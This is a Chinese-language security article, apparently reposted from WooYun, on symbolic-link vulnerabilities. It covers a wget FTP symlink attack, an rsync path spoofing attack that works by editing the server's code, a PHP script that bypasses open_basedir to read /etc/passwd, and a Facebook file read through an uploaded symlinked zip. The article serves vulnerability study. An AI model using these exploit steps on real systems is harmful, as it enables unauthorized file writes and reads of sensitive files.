<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/4762

            0×00 前言


            Linux作為應用最廣泛的開源系統,其中獨特的文件系統可以算是支撐Linux強大功能 的核心組件之一,而在文件系統中,符號鏈接(symbolic link )形如"月光寶盒"般可以穿 梭時空,自由穿越森嚴的路徑限制,此一特性,使其地位在整個Linux系統中占有重要 一席,本文將通過實際分析與研究,深入探討因對符號鏈接處理不當,可能造成的各類 安全問題,以引發對此類問題的重視。

            0×01 客戶端


            客戶端遞歸處理文件時,通過符號鏈接穿越可造成任意文件寫入,代碼執行。

            案例:

            1. Wget ftp symbolic link attack (CVE-2014-4877)


            wget 遞歸下載ftp站點時,如 wget -m ftp://127.0.0.1,在服務端偽造如下數據

            lrwxrwxrwx 1 root root 33 Oct 11 2013 fakedir -> /tmp
            drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir
            

            會在本地建立一個名稱為fakedir的symbolic link ,指向/tmp 目錄,當wget 發送 cwd 指令遞歸進入fakedir 在發送 LIST 指令。此時可以偽造一個惡意文件或者

            目錄比如:

            -rwx------ 1 root root 21 Aug 29 2013 pwned
            

            RETR 指令下載pwned 文件時,返回文件內容(二進制或者文本)。即可欺騙wget 客戶端任意目錄寫入。

            具體利用腳本: https://github.com/yaseng/pentest/blob/master/exploit/wget-symlink_attack_exploit.py

            漏洞演示:

            Server(attacker)  wget-symlink_attack_exploit.py
            Client(victim)    wget -m ftp://127.0.0.1
            

            enter image description here

            2:Rsync path spoofing attack vulnerability(CVE-2014-9512 )


            筆者分析wget漏洞之后,發現rsync遞歸同步文件時,同樣可以用符號鏈接來 欺騙路徑,由于rsync雙向文件處理算法比較復雜,無法直接用字符串偽造文件流。 首先rsync共享文件夾新建symbolic link 指向/root/,

            [[email protected] rsync]# ls  -lh
            total 8.0K
            -rw-r--r-- 1 root root    2 Oct 31 03:16 1.txt
            lrwxrwxrwx 1 root root    6 Oct 31 05:09 fakedir -> /root/
            drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir
            

            truedir 中寫入測試文件

            [[email protected] rsync]# cd  truedir/
            [[email protected] truedir]# ls
            [[email protected] truedir]# echo rsync  test  >  pwned
            [[email protected] truedir]# ls -lh
            total 4.0K
            -rw-r--r-- 1 root root 11 Oct 31 05:17 pwned
            [[email protected] truedir]# 
            

            再修改服務端發送文件列表的代碼

            #!c
            file: rsync-3.1.1/flist.c    line:394
            static void send_file_entry(int f, const char *fname, struct file_struct *file,
            #ifdef SUPPORT_LINKS
                            const char *symlink_name, int symlink_len,
            #endif
                            int ndx, int first_ndx)
            {
              if(strcmp(fname,"turedir/pwned") == 0){
            
                fname="fakedir/pwned";  // symbolic link 
            //change  file  true path(truedir) to  symbolic link  (fakedir)
            )
            }
            

            由于服務端有嚴格的數據校驗,此時會報錯 "received request to transfer non-regular file fakedir/pwned.test 7 [sender]",導致客戶端同步無法執行 但是對于攻擊者來說,服務端是可控的,找到對應代碼直接注釋。

            #!c
            /* if (iflags & ITEM_TRANSFER) {
                    int i = ndx - cur_flist->ndx_start;
                    if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
                        rprintf(FERROR,
                            "received request to transfer non-regular file: %d [%s]\n",
                            ndx, who_am_i());
                        exit_cleanup(RERR_PROTOCOL);
                    }
                }
            */
            

            漏洞演示:

            enter image description here

            client(victim):

            enter image description here

            0×02 web 程序


            當通過http訪問文件時,web server 對符號鏈接處理不當可能導致越權訪問,文件 讀取等安全隱患。

            案例:

            1. php 通用繞過 open_basedir 讀取任意文件


            使用函數symlink 與 mkdir 創建一個指向目標的符號鏈接,代碼如下

            #!php
            <?php
            mkdir("abc");
            chdir("abc");
            mkdir("etc");
            chdir("etc");
            mkdir("passwd");
            chdir("..");
            mkdir("abc");
            chdir("abc");
            mkdir("abc");
            chdir("abc");
            mkdir("abc");
            chdir("abc");
            chdir("..");
            chdir("..");
            chdir("..");
            chdir("..");
            symlink("abc/abc/abc/abc","tmplink");
            symlink("tmplink/../../../etc/passwd", "exploit");
            unlink("tmplink");  //刪除
            mkdir("tmplink");
            ?>
            

            生成文件

            drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
            lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
            - -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
            - -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
            drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
            

            exploit 已經指向/etc/passwd,通過web server 如Apache 直接靜態訪問,可以繞過php open_basedir 保護讀取文件。

            2. facebook 本地文件讀取


            當服務端會自動解壓zip,tar 等支持符號鏈接的壓縮格式時。可以通過符號鏈接讀取服務器文件 例如facebook 本地文件讀取

            1. 創建一個符號鏈接文件指向/etc/passwd 
            
            ln -s /etc/passwd link 
            
            2. 壓縮文件,同時保留鏈接 
            zip --symlinks test.zip link 
            
            3. 上傳test.zip文件,系統會自動解壓縮 
            
            4. 頁面當中會返回/etc/passwd的內容
            

            如圖

            enter image description here

            0×03 參考鏈接


            1:CVE-2014-4877 wget ftp下載文件夾鏈接欺騙漏洞分析 http://xteam.baidu.com/?p=30

            2:Rsync path spoofing attack vulnerability http://xteam.baidu.com/?p=169

            3:Php open_basedir bypass http://cxsecurity.com/issue/WLB-2009110068

            4:Reading local files from Facebook's server http://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线